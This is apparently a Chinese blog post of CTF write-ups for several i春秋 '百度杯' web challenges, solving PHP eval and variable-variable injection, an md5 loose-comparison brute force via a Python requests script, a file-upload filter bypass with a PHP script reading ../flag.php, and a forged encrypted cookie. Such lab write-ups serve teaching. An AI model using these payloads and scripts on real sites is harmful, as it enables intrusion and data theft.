[i春秋]Web

2018-02-10  本文已影响115人  JasonChiu17

“百度杯”CTF比赛 2017 二月场_爆破-1

题目内容:flag就在某六位变量中。

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
  die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>
array(9) { ["_GET"]=> array(0) { } ["_POST"]=> array(1) { ["hello"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(12) { ["UM_distinctid"]=> string(60) "16043bd3caaeb9-0b92da86f81d64-572f7b6e-144000-16043bd3cabcbb" ["pgv_pvi"]=> string(10) "4712199168" ["Hm_lvt_2d0601bd28de7d49818249cf35d95943"]=> string(43) "1517321365,1517561003,1517806905,1518241521" ["Hm_lvt_1a32f7c660491887db0960e9c314b022"]=> string(21) "1517716104,1518241572" ["Hm_lvt_9104989ce242a8e03049eaceca950328"]=> string(21) "1517716103,1518241572" ["browse"]=> string(428) "CFlRTxUYU0BcVVhAVQJTRFBZSkdeQF5YWFFFR19RW0VTUV9PXURLTgBZXUFZQlxOGllZTFRTW0VYW0VFX1xZQUlRWU9eRlNBX0FTHFREX01ZVFMGVEBQT0tRWERWXFlERFNcVV9IU0dRWVtNTEoAT1xVUURfShpPWFpSV1xBWE1EU1lYXkVJR1lZWkVUQVtXUgpSQFhIWkxSEFJEV0tLR1lSUFheQERFXUNaRVRDWU9YU0pOB0tcQ1laW04dS1hMU0FaRV9JREVYTlhBTkNZT1tUUkBbU1IcU1ZQQldIUgZTUlFPTENZRFFOWERDQV1VW1JSRFhLW0BLWAFPW0JQRlxYG09fSFNXW1NZTUNBWFhZV0hHX0tYQ1NWXFdVGFNAX1BdQFUCU0RQWUpHXkBRWFlSRUZfUVtHU1JRT19DS04U" ["chkphone"]=> string(33) "acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O" ["ci_session"]=> string(40) "83424777bfb234df7faa495fd1d754b785933fa1" ["pgv_si"]=> string(11) "s4974850048" ["Hm_lpvt_2d0601bd28de7d49818249cf35d95943"]=> string(10) "1518241600" ["Hm_lpvt_9104989ce242a8e03049eaceca950328"]=> string(10) "1518241572" ["Hm_lpvt_1a32f7c660491887db0960e9c314b022"]=> string(10) "1518241572" } ["_FILES"]=> array(0) { } ["_REQUEST"]=> array(1) { ["hello"]=> string(7) "GLOBALS" } ["flag"]=> string(38) "flag在一个长度为6的变量里面" ["d3f0f8"]=> string(42) "flag{bbb87d3a-f564-43c4-a341-0a2ed11dbda8}" ["a"]=> string(7) "GLOBALS" ["GLOBALS"]=> *RECURSION* } <?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
  die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

“百度杯”CTF比赛 2017 二月场_爆破-2

题目内容:flag不在变量中。

array(3) { [0]=> string(6) " string(32) "$flag = 'Too Young Too Simple'; " [2]=> string(45) "#flag{4408aece-a177-4821-bf96-21d6593802f8}; " } <?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

“百度杯”CTF比赛 2017 二月场_爆破-3

题目内容:这个真的是爆破。

<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){   ##时间限时两分钟
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];  ##随机选一个字母

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){  
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){ 
##substr(md5($value),5,4)第五个字符开始取四个字符,是否==0 
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}
owflag{30f4d30c-6db0-4029-919f-7519d8060251} <?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>
import requests
url='http://10ff0cf83b464bc2957f8deb00ae24f12774ecc5dbcd4331.game.ichunqiu.com/'
session=requests.Session()
html=session.get(url+'?value[]=ea').text #注意:如果value[]=ea的话,value[0]=ea,value[1]为空,那么$value[0].$value[1]=$value[0]=ea
for i in range(10):
    html=session.get(url+'?value[]='+html[0:2]).text
    if 'flag{.*}' in html:
        break
print (html)

“百度杯”CTF比赛 九月场_Upload

题目内容:想怎么传就怎么传,就是这么任性。
tips:flag在flag.php中

<?php
$fh=fopen('../flag.php','r');
echo fread($fh,filesize("../flag.php"));
fclose($fh);
?>
<?php
$fh=fopen('../flag.php','r');
echo fread($fh,filesize("../flag.php"));
fclose($fh);
?>
<script language="PHP">
$fh=fopen("../flag.".strtolower("PHP"),'r');
echo fread($fh,filesize("../flag.".strtolower("PHP"))); #点号.是连接符,开始还用+号来连接,搞错了。
fclose($fh);
</script>
echo 'here_is_flag';
'flag{36815007-b8e3-448c-9f9d-ac712756ce87}';

百度杯”CTF比赛 九月场_Code

题目内容:考脑洞,你能过么?

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);  ##在正则表达式中,/顺斜杠是表示表达式的开始和结束的“定界符”。\反斜杠是表示转义字符。^放在[]来表示排除不满足该集合的字符.
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";

/*
 * Can you find the flag file?
 *
 */

?>
<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
#随机返回$length个字符
function random($length, $chars = '      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash; 
}
#加密
function encrypt($txt,$key){
    for($i=0;$i<strlen($txt);$i++){
        $tmp .= chr(ord($txt[$i])+10);
    }
    $txt = $tmp;          #返回每个字符的ascii+10对应的字符
    $rnd=random(4);       #随机返回4个字符
    $key=md5($rnd.$key);  #随机四个字符和key拼接,返回md5值
    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $ttmp .= $txt[$i] ^ $key[++$s]; #$txt每个字符与$key的字符按位异或,"^" 按位异或运算
    }
    return base64_encode($rnd.$ttmp);    #随机4个字符拼接$ttmp,再base64
}
#解密
function decrypt($txt,$key){
    $txt=base64_decode($txt);  #base64decode
    $rnd = substr($txt,0,4);   #取$txt前四个字符
    $txt = substr($txt,4);   #取$txt第五个字符开始,剩下全部字符
    $key=md5($rnd.$key); #前四个字符和key拼接,返回md5

    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $tmp .= $txt[$i]^$key[++$s];
    }
    for($i=0;$i<strlen($tmp);$i++){
        $tmp1 .= chr(ord($tmp[$i])-10);
    }
    return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "�(���)�";
}
?>
import base64
base64encode=str(base64.b64decode('WkVjbkBJWxtM'),"utf-8")
rnd=base64encode[0:4]
ttmp=base64encode[4:]
guest=list('guest')
key=list('123456')
for i in range(len(guest)):
    guest[i]=chr(ord(guest[i])+10)
for i in range(len(guest)):
    key[i]=chr(ord(guest[i])^ord(ttmp[i])) #得到了key的前五位,因为'guest'有五位字符
#加密
user=list('system')
for i in range(len(user)):
    user[i]=chr(ord(user[i])+10)
char='0123456789abcdef'#一般128位的MD5散列被表示为32位十六进制数字。所以这些字符取值范围仅限于0-9和a-f。
for i in range(len(char)):
    key[5]=char[i]
    ttmp_1=''
    for j in range(len(user)):
        ttmp_1+=chr(ord(user[j])^ord(key[j]))
    new=bytes(rnd+ttmp_1,"utf-8")
    print(str(base64.b64encode(new),"utf-8"))

上一篇下一篇

猜你喜欢

热点阅读